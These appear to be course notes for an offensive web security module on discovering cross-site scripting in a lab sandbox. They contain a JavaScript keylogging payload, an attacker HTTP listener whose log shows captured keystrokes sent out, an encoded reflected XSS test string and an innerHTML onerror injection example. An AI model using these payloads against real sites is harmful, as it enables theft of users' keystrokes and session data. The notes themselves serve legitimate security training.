Module 5: Cross-Site Scripting Introduction and Discovery
Introduction to the Sandbox
Accessing the Sandbox
Start the VPN and start the VM. Add the IP to hosts file.
Understanding the Sandbox
Explaining the sandbox webpage.
JavaScript Basics for Offensive Uses
Syntax Overview
Function example
01 function processData(data) {
02 data.items.forEach(item => {
03 console.log(item)
04 });
05 }
06
07 let foo = {
08 items: [
09 "Hello",
10 "Zdravo",
11 "Hola"
12 ]
13 }
14
15 processData(foo)
Useful APIs




Starting HTTP listener
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

HTTP Server Log
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.174.4 - - [11/Aug/2021 19:15:53] "GET /hello HTTP/1.1" 404 -
Original Keylogging Payload
function logKey(event){
console.log(event.key)
}
document.addEventListener('keydown', logKey);

HTTP Server Log
...
192.168.121.101 - - [11/Aug/2021 19:23:39] "GET /k?key=I HTTP/1.1" 404 -
192.168.121.101 - - [11/Aug/2021 19:23:39] code 404, message File not found
192.168.121.101 - - [11/Aug/2021 19:23:39] "GET /k?key= HTTP/1.1" 404 -
192.168.121.101 - - [11/Aug/2021 19:23:39] code 404, message File not found
192.168.121.101 - - [11/Aug/2021 19:23:39] "GET /k?key=l HTTP/1.1" 404 -
192.168.121.101 - - [11/Aug/2021 19:23:40] code 404, message File not found
192.168.121.101 - - [11/Aug/2021 19:23:40] "GET /k?key=i HTTP/1.1" 404 -
192.168.121.101 - - [11/Aug/2021 19:23:40] code 404, message File not found
192.168.121.101 - - [11/Aug/2021 19:23:40] "GET /k?key=k HTTP/1.1" 404 -
192.168.121.101 - - [11/Aug/2021 19:23:40] code 404, message File not found
192.168.121.101 - - [11/Aug/2021 19:23:40] "GET /k?key=e HTTP/1.1" 404 -
...
Cross-Site Scripting - Discovery
Reflected Server XSS
Often found in locations where user input is sent via GET parameters.


It's inside a <div> tag, it may be vulnerable. Testing with HTML injection has less potential for error — this doesn't always mean we can inject JavaScript but is a great indicator.


Encoded search payload
search.php?s=%3Cscript%3Ealert(0)%3C/script%3E


Stored Server XSS









Reflected Client XSS







Mozilla's innerHTML Bypass
const name = "<img src='x' onerror='alert(1)'>";
el.innerHTML = name; // shows the alert

Stored Client XSS






PreviousModule 4: Introduction to Burp SuiteNextModule 6: Cross-Site Scripting Exploitation and Case Study
Last updated